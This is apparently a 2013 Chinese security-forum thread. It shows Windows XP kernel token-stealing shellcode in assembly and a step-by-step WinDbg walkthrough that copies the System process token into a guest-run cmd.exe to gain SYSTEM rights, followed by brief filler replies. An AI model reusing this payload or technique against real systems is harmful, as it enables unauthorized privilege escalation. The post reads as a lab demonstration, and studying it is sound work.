查看: 1875|回复: 25

手动调试感受一下提权过程

[复制链接]
发表于 2013-1-30 09:56:38 | 显示全部楼层 |阅读模式

内核提权漏洞以前是一直没有运行成功,可能是因为xp下的SSDT不可写吧。

其实有没有内核漏洞对我都无所谓,漏洞只是提供了一种从低权限到高权限的一个途径。

我们通过内核调试来模拟这个途径。


现有的内核shellcode都是通过将system进程的令牌替换当前进程的令牌而达到提权目的的。

xp下的内核提权shellcode如下:

               mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
               Mov eax,[eax]

               mov esi,[eax+0x220] //取当前进程EPROCESS
               mov eax,esi

        searchXp:

               mov eax,[eax+0x88]
               sub eax,0x88
               mov edx,[eax+0x84]
               cmp edx,0x4 // 通过PID查找系统进程
               jne searchXp

               mov eax,[eax+0xc8] // 获取system进程的token
               mov [esi+0xc8],eax // 修改当前进程的token

               ret 8


也就是在xp下令牌的偏移相对于EPROCESS是c8

在虚拟机里以guest运行cmd,



然后切换到内核调试状态

查看cmd的EPROCESS

kd> !process 0 0 cmd.exe
PROCESS 8208a980  SessionId: 0  Cid: 0164    Peb: 7ffd6000  ParentCid: 0340


DirBase: 14a8a000  ObjectTable: e11dd4f0  HandleCount:  29.
    Image: cmd.exe cmd的令牌kd> dd 8208a980+c8 l1
8208aa48  e10cca21 查看system进程EPROCESS
kd> !process 0 0 system
PROCESS 822d27f8  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00039000  ObjectTable: e1000cb8  HandleCount: 199.
    Image: System system的令牌kd> dd 822d27f8+c8 l1
822d28c0  e100175b 用system的令牌替换cmd的令牌
kd> ed 8208aa48
8208aa48 e10cca21 e100175b
e100175b
8208aa4c 00000001 这样系统里的cmd就具有system权限了 在里面运行一个计算器,可以从进程浏览器里看到用户名已经是system了。 有一个问题是再次切到内核里查看cmd的令牌时,值变成不一样了,有点奇怪!kd> dd 8208a980+c8 l1
8208aa48  e100175d 这个值变了!
kd> dd 822d27f8+c8 l1
822d28c0  e100175b


发表于 2013-2-8 06:38:41 | 显示全部楼层
太棒了!  
发表于 2014-9-23 14:13:30 | 显示全部楼层
呵呵 那就好好玩吧~~~~  
发表于 2014-10-26 14:04:16 | 显示全部楼层
彪悍的人生不需要解释。  
发表于 2014-11-5 23:24:06 | 显示全部楼层
我不是随便的人。我随便起来不是人  
发表于 2014-11-18 14:00:51 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2014-12-6 08:44:01 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2014-12-29 13:51:52 | 显示全部楼层
嘿嘿  
发表于 2015-1-29 10:29:19 | 显示全部楼层
你喜欢贴子还是发贴子的人  
发表于 2015-3-3 12:24:43 | 显示全部楼层
我该不会是最后一个顶的吧  
高级模式
B Color Image Link Quote Code Smilies

本版积分规则